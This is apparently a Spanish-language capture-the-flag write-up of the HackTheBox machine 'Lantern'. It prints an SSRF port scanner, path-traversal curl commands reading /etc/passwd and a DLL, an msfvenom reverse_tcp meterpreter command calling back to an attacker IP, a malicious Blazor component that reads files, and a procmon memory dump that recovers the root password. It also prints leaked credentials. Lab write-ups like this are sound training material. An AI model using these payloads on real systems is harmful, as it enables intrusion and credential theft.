Table of Contents
TCP Enumeration
1rustscan -a 10.129.233.201 --ulimit 5000 -g
210.129.233.201 -> [22,80,3000]
1nmap -p22,80,3000 -sCV 10.129.233.201 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 17:01 CEST
3Stats: 0:01:35 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
4Service scan Timing: About 100.00% done; ETC: 17:02 (0:00:00 remaining)
5Nmap scan report for 10.129.233.201
6Host is up (0.037s latency).
7
8PORT STATE SERVICE VERSION
922/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
10| ssh-hostkey:
11| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
12|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
1380/tcp open http Skipper Proxy
14|_http-server-header: Skipper Proxy
15|_http-title: Did not follow redirect to http://lantern.htb/
16| fingerprint-strings:
17| FourOhFourRequest:
18| HTTP/1.0 404 Not Found
19| Content-Length: 207
20| Content-Type: text/html; charset=utf-8
21| Date: Fri, 23 Aug 2024 13:01:32 GMT
22| Server: Skipper Proxy
23| <!doctype html>
24| <html lang=en>
25| <title>404 Not Found</title>
26| <h1>Not Found</h1>
27| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
28| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
29| HTTP/1.1 400 Bad Request
30| Content-Type: text/plain; charset=utf-8
31| Connection: close
32| Request
33| GetRequest:
34| HTTP/1.0 302 Found
35| Content-Length: 225
36| Content-Type: text/html; charset=utf-8
37| Date: Fri, 23 Aug 2024 13:01:27 GMT
38| Location: http://lantern.htb/
39| Server: Skipper Proxy
40| <!doctype html>
41| <html lang=en>
42| <title>Redirecting...</title>
43| <h1>Redirecting...</h1>
44| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
45| HTTPOptions:
46| HTTP/1.0 200 OK
47| Allow: HEAD, OPTIONS, GET
48| Content-Length: 0
49| Content-Type: text/html; charset=utf-8
50| Date: Fri, 23 Aug 2024 13:01:27 GMT
51|_ Server: Skipper Proxy
523000/tcp open ppp?
53| fingerprint-strings:
54| GetRequest:
55| HTTP/1.1 500 Internal Server Error
56| Connection: close
57| Content-Type: text/plain; charset=utf-8
58| Date: Fri, 23 Aug 2024 13:01:31 GMT
59| Server: Kestrel
60| System.UriFormatException: Invalid URI: The hostname could not be parsed.
61| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
62| System.Uri..ctor(String uriString, UriKind uriKind)
63| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
64| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
65| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
66| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
67| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
68| HTTPOptions:
69| HTTP/1.1 200 OK
70| Content-Length: 0
71| Connection: close
72| Date: Fri, 23 Aug 2024 13:01:36 GMT
73| Server: Kestrel
74| Help:
75| HTTP/1.1 400 Bad Request
76| Content-Length: 0
77| Connection: close
78| Date: Fri, 23 Aug 2024 13:01:31 GMT
79| Server: Kestrel
80| RTSPRequest:
81| HTTP/1.1 505 HTTP Version Not Supported
82| Content-Length: 0
83| Connection: close
84| Date: Fri, 23 Aug 2024 13:01:37 GMT
85| Server: Kestrel
86| SSLSessionReq, TerminalServerCookie:
87| HTTP/1.1 400 Bad Request
88| Content-Length: 0
89| Connection: close
90| Date: Fri, 23 Aug 2024 13:01:52 GMT
91|_ Server: Kestrel
922 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
93==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
94SF-Port80-TCP:V=7.94SVN%I=7%D=8/23%Time=66C8A444%P=x86_64-pc-linux-gnu%r(G
95SF:etRequest,18F,"HTTP/1\.0\x20302\x20Found\r\nContent-Length:\x20225\r\nC
96SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Fri,\x2023\x20A
97SF:ug\x202024\x2013:01:27\x20GMT\r\nLocation:\x20http://lantern\.htb/\r\nS
98SF:erver:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>
99SF:\n<title>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\
100SF:x20should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x
101SF:20URL:\x20<a\x20href=\"http://lantern\.htb/\">http://lantern\.htb/</a>\
102SF:.\x20If\x20not,\x20click\x20the\x20link\.\n")%r(HTTPOptions,A5,"HTTP/1\
103SF:.0\x20200\x20OK\r\nAllow:\x20HEAD,\x20OPTIONS,\x20GET\r\nContent-Length
104SF::\x200\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Fri,
105SF:\x2023\x20Aug\x202024\x2013:01:27\x20GMT\r\nServer:\x20Skipper\x20Proxy
106SF:\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
107SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
108SF:\n400\x20Bad\x20Request")%r(FourOhFourRequest,162,"HTTP/1\.0\x20404\x20
109SF:Not\x20Found\r\nContent-Length:\x20207\r\nContent-Type:\x20text/html;\x
110SF:20charset=utf-8\r\nDate:\x20Fri,\x2023\x20Aug\x202024\x2013:01:32\x20GM
111SF:T\r\nServer:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20la
112SF:ng=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>T
113SF:he\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.\
114SF:x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x2
115SF:0your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(GenericLines,67,"H
116SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch
117SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(He
118SF:lp,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plai
119SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reques
120SF:t")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
121SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
122SF:\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad
123SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
124SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request");
125==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
126SF-Port3000-TCP:V=7.94SVN%I=7%D=8/23%Time=66C8A449%P=x86_64-pc-linux-gnu%r
127SF:(GetRequest,114E,"HTTP/1\.1\x20500\x20Internal\x20Server\x20Error\r\nCo
128SF:nnection:\x20close\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
129SF:Date:\x20Fri,\x2023\x20Aug\x202024\x2013:01:31\x20GMT\r\nServer:\x20Kes
130SF:trel\r\n\r\nSystem\.UriFormatException:\x20Invalid\x20URI:\x20The\x20ho
131SF:stname\x20could\x20not\x20be\x20parsed\.\n\x20\x20\x20at\x20System\.Uri
132SF:\.CreateThis\(String\x20uri,\x20Boolean\x20dontEscape,\x20UriKind\x20ur
133SF:iKind,\x20UriCreationOptions&\x20creationOptions\)\n\x20\x20\x20at\x20S
134SF:ystem\.Uri\.\.ctor\(String\x20uriString,\x20UriKind\x20uriKind\)\n\x20\
135SF:x20\x20at\x20Microsoft\.AspNetCore\.Components\.NavigationManager\.set_
136SF:BaseUri\(String\x20value\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Co
137SF:mponents\.NavigationManager\.Initialize\(String\x20baseUri,\x20String\x
138SF:20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Components\.Server\.C
139SF:ircuits\.RemoteNavigationManager\.Initialize\(String\x20baseUri,\x20Str
140SF:ing\x20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Mvc\.ViewFeature
141SF:s\.StaticComponentRenderer\.<InitializeStandardComponentServicesAsync>g
142SF:__InitializeCore\|5_0\(HttpContext\x20httpContext\)\n\x20\x20\x20at\x20
143SF:Microsoft\.AspNetCore\.Mvc\.ViewFeatures\.StaticC")%r(Help,78,"HTTP/1\.
144SF:1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20cl
145SF:ose\r\nDate:\x20Fri,\x2023\x20Aug\x202024\x2013:01:31\x20GMT\r\nServer:
146SF:\x20Kestrel\r\n\r\n")%r(HTTPOptions,6F,"HTTP/1\.1\x20200\x20OK\r\nConte
147SF:nt-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Fri,\x2023\x20Aug\x
148SF:202024\x2013:01:36\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(RTSPRequest
149SF:,87,"HTTP/1\.1\x20505\x20HTTP\x20Version\x20Not\x20Supported\r\nContent
150SF:-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Fri,\x2023\x20Aug\x20
151SF:2024\x2013:01:37\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(SSLSessionReq
152SF:,78,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn
153SF:ection:\x20close\r\nDate:\x20Fri,\x2023\x20Aug\x202024\x2013:01:52\x20G
154SF:MT\r\nServer:\x20Kestrel\r\n\r\n")%r(TerminalServerCookie,78,"HTTP/1\.1
155SF:\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20clo
156SF:se\r\nDate:\x20Fri,\x2023\x20Aug\x202024\x2013:01:52\x20GMT\r\nServer:\
157SF:x20Kestrel\r\n\r\n");
158Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
159
160Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
161Nmap done: 1 IP address (1 host up) scanned in 97.82 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 10.129.233.201 -sU --min-rate 5000 -n -Pn -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 17:03 CEST
3Nmap scan report for 10.129.233.201
4Host is up (0.036s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
719374/udp closed unknown
820445/udp closed unknown
925036/udp closed unknown
1026026/udp closed unknown
1128745/udp closed unknown
1249182/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
HTTP Enumeration
En el escaneo inicial detectamos el dominio lantern.htb
, lo añadimos al /etc/hosts
También en el puerto 3000 vemos un servidor Kestrel
, un servidor que alberga aplicaciones ASP.NET.
También el puerto 80 vemos un proxy Skipper https://github.com/zalando/skipper
Un proxy inverso hecho por zalando.
80/TCP
1whatweb http://lantern.htb
2http://lantern.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Skipper Proxy], IP[10.129.233.201], Meta-Author[Devcrud], Script, Title[Lantern]
whatweb
no reporta ningún CMS.
Vemos un recurso main.js
que contiene una función que hace una petición POST a /submit
Esto me olió a un rabbit hole, así que pasé a enumerar el puerto 3000.
3000/TCP
Podemos ver los típicos comentarios en aplicaciones .NET
Detecté viendo los recursos de red del navegador, que al intentar iniciar sesión no se hace ninguna petición por detrás. Eso significa que de alguna forma la aplicación sabe la contraseña para iniciar sesión por lo que tiene que estar hardcodeado de alguna forma.
En una máquina que realicé anteriormente se conseguía información privilegiada a través de descargar archivos .dll en la ruta de /_framework/*
. Por lo cual supongo que tienen que ir por ahí los tiros.
Después de no encontrar nada tras un rato, encontré esto. Una extensión para analizar el tráfico de Blazor en Burpsuite Podemos descargarlo de aquí
Server-Side Request Forgery
Después de comerme la cabeza volví a analizar el puerto 80 y encontré que la versión de Skipper es vulnerable a SSRF https://www.exploit-db.com/exploits/51111
Agregando la cabecera X-Skipper-Proxy
y nuestra IP.
1python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.233.201 - - [23/Aug/2024 17:58:06] code 404, message File not found
410.129.233.201 - - [23/Aug/2024 17:58:06] "GET http://lantern.htb/ HTTP/1.1" 404 -
Vamos a intentar listar servicios internos, para ello vamos a hacer un pequeño script en python.
Discovering Internal Services
Le pregunté a ChatGPT una lista de puertos comunes de servicios web para intentar interactuar con ellos a través del SSRF.
1import requests
2from pwn import *
3
4BASE_URL = "http://lantern.htb"
5BASE_LENGTH = 20
6SSRF_HEADER = "X-Skipper-Proxy"
7
8puertos_http = [
9 80, # HTTP estándar
10 8080, # HTTP alternativo
11 443, # HTTPS estándar
12 8443, # HTTPS alternativo
13 8000, # Desarrollo de servidores locales
14 8888, # Jupyter notebooks
15 8880, # Alternativa HTTP
16 81, # HTTP secundario, a veces utilizado para cámaras web y otros dispositivos
17 591, # FileMaker, servicios web
18 280, # http-mgmt
19 631, # IPP (Internet Printing Protocol)
20 8008, # Alternativa HTTP, utilizado a veces por proxies o servicios de API
21 8081, # HTTP alternativo, a menudo usado para servidores web o proxies
22 8090, # HTTP alternativo, a veces utilizado para proxies
23 9080, # HTTP alternativo, a menudo usado en entornos de desarrollo
24 4848, # GlassFish Administration Console
25 9000, # Servicios web como SonarQube, PHP-FPM
26 9081, # Servicios alternativos o de desarrollo
27 7001, # WebLogic Administration Console
28 8444, # HTTPS alternativo, a veces utilizado en entornos de desarrollo
29 35357, # OpenStack Identity (Keystone) Admin API
30 5000, # Desarrollo local con Flask y otros frameworks
31]
32
33def scan():
34 p = log.progress("Probando con: ")
35 for port in puertos_http:
36 p.status(port)
37 headers = {
38 SSRF_HEADER: f"http://127.0.0.1:{port}"
39 }
40 r = requests.get(BASE_URL,headers = headers)
41 if len(r.text) != BASE_LENGTH:
42 log.success(f"Hay algo en el puerto -> {port}")
43
44if __name__ == "__main__":
45 scan()
1python3 scan.py
2[p] Probando con: : 5000
3[+] Hay algo en el puerto -> 80
4[+] Hay algo en el puerto -> 8000
5[+] Hay algo en el puerto -> 5000
Después de investigar un poco vemos que el puerto 80 corresponde a la aplicación principal, la aplicación del puerto 8000 también.
Pero la aplicación del puerto 5000 corresponde a otra aplicación Blazor distinta que la del puerto 3000
Ignorar el file://
, por alguna razón igualmente resuelve a la dirección interna con el file://
Descubrí que podemos leer las rutas internas introduciendo en la cabecera el servicio donde apuntamos pero debemos apuntar al recurso deseado de forma normal,.
De esta forma, dirigiéndonos a http://lanterp.htb/_framework/blazor.webassembly.js
apunta mediante la cabecera X-Skipper-Proxy
a http://lantern.htb:5000/_framework/blazor.webassembly.js
Encontramos un archivo blazor.boot.json
Este archivo contiene los archivos .dll necesarios junto a su hash SHA-256 https://learn.microsoft.com/en-us/aspnet/core/blazor/host-and-deploy/webassembly-caching/?view=aspnetcore-8.0
When Blazor WebAssembly downloads an app’s startup files, it instructs the browser to perform integrity checks on the responses. Blazor sends SHA-256 hash values for DLL (
.dll
), WebAssembly (.wasm
), and other files in theblazor.boot.json
file.
Debido a mi experiencia con anteriores máquinas, en estos .dll puede haber información confidencial. Vamos a buscar algún dll que no sea de Microsoft.
Suele tener el formato
Company.Resource.dll
1cat blazor.boot.json | grep Lantern
2 "entryAssembly": "InternaLantern",
3 "InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI="
4 "InternaLantern.pdb": "sha256-E8WICkNg65vorw8OEDOe6K9nJxL0QSt1S4SZoX5rTOY="
Decompiling InternaLantern.dll
-> Information Leakage
Vamos a descargar el recurso InternaLantern.dll
1wget http://lantern.htb/_framework/InternaLantern.dll --header 'X-Skipper-Proxy: http://127.0.0.1:5000'
2--2024-08-23 18:28:50-- http://lantern.htb/_framework/InternaLantern.dll
3Resolving lantern.htb (lantern.htb)... 10.129.233.201
4Connecting to lantern.htb (lantern.htb)|10.129.233.201|:80... connected.
5HTTP request sent, awaiting response... 200 OK
6Length: 55808 (54K) [application/octet-stream]
7Saving to: ‘InternaLantern.dll’
8
9InternaLantern.dll 100%[==========================>] 54,50K --.-KB/s in 0,07s
10
112024-08-23 18:28:50 (747 KB/s) - ‘InternaLantern.dll’ saved [55808/55808]
12
13┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/lantern/content]
14└──╼ [★]$ file InternaLantern.dll
15InternaLantern.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
Ahora con dotPeek
podemos decompilar este dll para ver que contiene.
Vemos que en la clase Vacancies
hay algunos datos hardcodeados de algunos empleados
Y vemos unas credenciales…
admin:AJbFA_Q@925p9ap#22
También detectamos que de almacenamiento se utiliza SQLite3 y el nombre del fichero es Data.db
Con estas credenciales podemos iniciar sesión en el panel administrativo del puerto 3000.
Me llama la atención la función para subir archivos.
Efectivamente los archivos se suben.
Me encontré con el siguiente error.
Quiero pensar que si consigo subir un .dll malicioso a esa ruta conseguiré ejecutar comandos en el sistema.
Aunque podemos hacer un Path Traversal y cargar el dll del directorio images
Probé a crear un dll con msfvenom
1msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=443 -f dll > evil.dll
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3[-] No arch selected, selecting arch: x86 from the payload
4No encoder specified, outputting raw payload
5Payload size: 354 bytes
6Final size of dll file: 9216 bytes
Pero sigue saliendo este error.
Lateral Thinking -> Path Traversal
Como podemos ver el archivo app.py
podemos ver el código fuente de la aplicación del puerto 80
1@app.route('/PrivacyAndPolicy')
2def sendPolicyAgreement():
3 lang = request.args.get('lang')
4 file_ext = request.args.get('ext')
5 try:
6 return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
7 except:
8 return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
Vemos esta sección de código en el cual detectamos que es vulnerable a Path Traversal
A través de los parámetros lang
y ext
se puede especificar un archivo
/blabla/blalblab/blalbaba/lang.ext
Si hacemos que lang
valga un .
y que ext
valga por ejemplo /../../../../../../etc/passwd
La ruta sería la siguiente:
/blabla/blalblab/blalbaba/../../../../../../../etc/passwd
1curl 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../../etc/passwd'
2root:x:0:0:root:/root:/bin/bash
3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4bin:x:2:2:bin:/bin:/usr/sbin/nologin
5sys:x:3:3:sys:/dev:/usr/sbin/nologin
6sync:x:4:65534:sync:/bin:/bin/sync
7games:x:5:60:games:/usr/games:/usr/sbin/nologin
8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14www-data:x:33:33:www-data:/var/www/sites:/usr/sbin/nologin
15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
18gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
19nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
21systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
22systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
23messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
24systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
25pollinate:x:105:1::/var/cache/pollinate:/bin/false
26sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
27syslog:x:107:113::/home/syslog:/usr/sbin/nologin
28uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
29tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
30tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
31landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
32fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
33usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
34tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
35lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
36_laurel:x:998:998::/var/log/laurel:/bin/false
Ahora recordemos que había una BBDD SQLite3 llamada Data.sql
Después de un rato esto no sirvió de nada.
En el panel de administración vemos que SI existe un módulo Logs.dll
Podríamos intentar descargarnos este DLL a ver como se ve.
Recordemos que gracias al error anterior, la ruta de este archivo es /opt/components/Logs.dll
Vamos a descargar este archivo mediante el Path Traversal.
1curl 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../../opt/components/Logs.dll' -o Logs.dll
2 % Total % Received % Xferd Average Speed Time Time Time Current
3 Dload Upload Total Spent Left Speed
4100 8192 100 8192 0 0 102k 0 --:--:-- --:--:-- --:--:-- 103k
5┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/lantern/content]
6└──╼ [★]$ file Logs.dll
7Logs.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
Me di cuenta de que el DLL que hemos creado anteriormente no es un componente válido de ASP.NET por eso no ejecuta ningún comando.
Podríamos intentar crear nuestro propio componente de ASP.NET, compilarlo, subirlo y probar a ver si ejecuta un comando…
Antes de hacerlo me di cuenta de lo siguiente
Por alguna razón no carga el componente Logs
por lo cual antes de hacer nada necesito una forma para poder subir archivos en /opt/components
Arbitrary File Upload
Después de probar un rato, podemos encontrar que se hace una especie de verificación por detrás al subir un archivo utilizando la funcionalidad del panel de administración Upload content
Y es que intenté modificar el nombre del archivo que estaba subiendo (intentando subir el archivo Logs.dll original) a ../../../../../../opt/components/Loga.dll
pero por alguna razón no se subía.
Sin embargo, intente subir el archivo y al interceptar la petición la renombre para que el archivo se llamase Loga.dll
en vez de Logs.dll
y me dejó subir el archivo, así que supuse que esto es por la longitud del archivo.
Si renombramos el archivo para que la longitud sea la misma que ../../../../../../../../opt/components/Loga.dll
(47 caracteres)
Ahora si intentamos subir el archivo e interceptamos la petición..
Y renombramos el archivo..
Conseguimos la subida del archivo. En principio debe de estar en /opt/components/Loga.dll
Creating Malicious Blazor Component | Foothold
Si intentamos hacer uso de la funcionalidad para cargar el módulo vemos que nos da un error distinto, esto significa que hemos cargado correctamente el archivo en la ruta especificada, pero está buscando un Loga.Component , quiero pensar que es una clase dentro del namespace, además el namespace en principio es Logs
y no Loga
.
Voy a instalar el SDK de .NET en mi Parrot siguiendo esta guía de Microsoft https://learn.microsoft.com/en-us/dotnet/core/install/linux-scripted-manual#scripted-install
Creamos la clase
1dotnet new classlib -n wawo
Agregamos las librerías de ASP.NET
1dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
Modificamos el archivo Wawo.cs
para seguir la estructura del Logs.dll
y cargar por ejemplo el /etc/hosts
y mostrarlo por pantalla
1using Microsoft.AspNetCore.Components;
2using Microsoft.AspNetCore.Components.Rendering;
3using System.IO;
4namespace wawo
5{
6 public class Component : ComponentBase
7 {
8 protected override void BuildRenderTree(RenderTreeBuilder builder)
9 {
10 base.BuildRenderTree(builder);
11 builder.AddContent(0, File.ReadAllText("/etc/passwd"));
12 }
13 }
14}
Compilamos…
1dotnet build -c Release
Y si hacemos el proceso de subida (renombrar, interceptar y renombrar)…
Eso ha sido muy tedioso…
Tuve suerte porque intenté cargar el archivo /home/tomas/.ssh/id_rsa
y existió, esto me quito el proceso de tener que mandarme una reverse shell…
Ahora podemos formatear esta clave privada con la ayuda de samltools
Y conseguimos conectarnos por SSH!
1ssh -i id_rsa.tomas tomas@lantern.htb
2The authenticity of host 'lantern.htb (10.129.233.201)' can't be established.
3ED25519 key fingerprint is SHA256:TDl7Vj5oD2AZDjVsj4t27pGKbPAUTS5AeP37kKzubpw.
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6Warning: Permanently added 'lantern.htb' (ED25519) to the list of known hosts.
7Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-118-generic x86_64)
8
9 * Documentation: https://help.ubuntu.com
10 * Management: https://landscape.canonical.com
11 * Support: https://ubuntu.com/pro
12
13 System information as of Fri Aug 23 05:23:00 PM UTC 2024
14
15 System load: 0.04
16 Usage of /: 65.6% of 8.76GB
17 Memory usage: 23%
18 Swap usage: 0%
19 Processes: 220
20 Users logged in: 0
21 IPv4 address for eth0: 10.129.233.201
22 IPv6 address for eth0: dead:beef::250:56ff:fe94:7c4d
23
24
25Expanded Security Maintenance for Applications is not enabled.
26
270 updates can be applied immediately.
28
29Enable ESM Apps to receive additional future security updates.
30See https://ubuntu.com/esm or run: sudo pro status
31
32
33The list of available updates is more than a week old.
34To check for new updates run: sudo apt update
35
36You have mail.
37Last login: Thu Aug 15 13:00:50 2024 from 10.10.14.46
38tomas@lantern:~$ whoami
39tomas
Privilege Escalation
Obtaining root
credentials dumping memory with procmon
Podemos detectar que el usuario tomas
puede ejecutar como el usuario que quiera el binario procmon
1tomas@lantern:/tmp$ sudo -l
2Matching Defaults entries for tomas on lantern:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
5 use_pty
6
7User tomas may run the following commands on lantern:
8 (ALL : ALL) NOPASSWD: /usr/bin/procmon
Corriendo el pspy64
vemos lo siguiente.
Cada diez minutos parece haber una tarea CRON por detrás que ejecuta nano
y abre ese archivo.
nano
al ejecutarse guarda la data en memoria ya que tiene que guardarlo en algún lado, podríamos intentar conseguir esta data con procmon
para leer cual es el contenido del script.
Bien, podemos utilizar para ello procmon
, tiene un parámetro -p
para indicar el PID del proceso a monitorizar.
Luego podemos exportar este archivo con el parámetro -e -c FILENAME
1sudo procmon -p 25232 -c output -e write
Esperamos un rato a que se ejecute el proceso y hacemos CTRL + C
Vemos que el archivo exportado es un archivo SQLite
1tomas@lantern:/tmp$ file output
2output: SQLite 3.x database, last written using SQLite version 3027002, file counter 1, database pages 52, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Nos podemos compartir este archivo a nuestra máquina y ver que contiene.
Contiene 3 tablas.
1sqlite> .tables
2ebpf metadata stats
Decoding the data
Voy a abrirlo con sqlitebrowser
para trabajar mas cómodamente.
Vemos que hay data en formato blob
.
Ya he trabajado varias veces en esta situación y la solución mas fácil es convertir esta data a hexadecimal utilizando la función hex
y luego con CyberChef Convirtiendo la data de hexadecimal para ver que contiene.
Y vemos un echo
eso es buena señal.
Con SQLite3 vamos a exportar todo esto a un archivo.
Tras un buen rato de investigación esta es la consulta ganadora.
1SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;
La consulta está buscando eventos en la tabla ebpf
donde hubo una operación exitosa o con resultado positivo (indicada por resultcode > 0
). De esos eventos, está extrayendo una subcadena específica de los datos (arguments
), comenzando en la posición 9 y con una longitud dictada por resultcode
. Luego, convierte esta subcadena en un formato hexadecimal para su análisis. Finalmente, ordena los resultados en función del tiempo en que ocurrieron los eventos.
1sqlite3 output.db
2SQLite version 3.40.1 2022-12-28 14:03:47
3Enter ".help" for usage hints.
4sqlite> .output data.txt
5sqlite> SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;
6sqlite> .exit
Este archivo vamos a cargarlo en CyberChef y a descargar el output..
Vemos lo siguiente…
1cat /home/pointedsec/Downloads/download.dat
2prog tag mismatch 7dbbaacckkuupp..sshh
3
4
5
6
7
8
9
10
11e
12e
13echo Q 33Ee
14e
15echo Q 33EEddddttddww33ppMMBB | s uuddoo . //bbaacc
Q33EEddddttddww33ppMMBB
no es la contraseña…
Como vemos que en la última línea en s uuddoo
la primera s
está bien escrita pero luego se repite un carácter por cada letra, podemos intentar quitar un carácter a partir de la Q
en la supuesta contraseña.
Y nos queda lo siguiente: Q3Eddtdw3pMB
Y si intentamos migrar al usuario root
1tomas@lantern:/tmp$ su root
2Password:
3root@lantern:/tmp# id
4uid=0(root) gid=0(root) groups=0(root)
Podemos leer la flag de root
1root@lantern:~# cat root.txt
2c78762c714ec7d9d...
¡Y ya estaría!
Feliz Hacking! 🚀
#HackTheBox #Lantern #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #Path Traversal #Local File Inclusion #Server Side Request Forgery #Discovering Internal Services #Decompiling .NET #Information Leakage #Arbitrary File Upload #Malicious Blazor Component #Abusing Procmon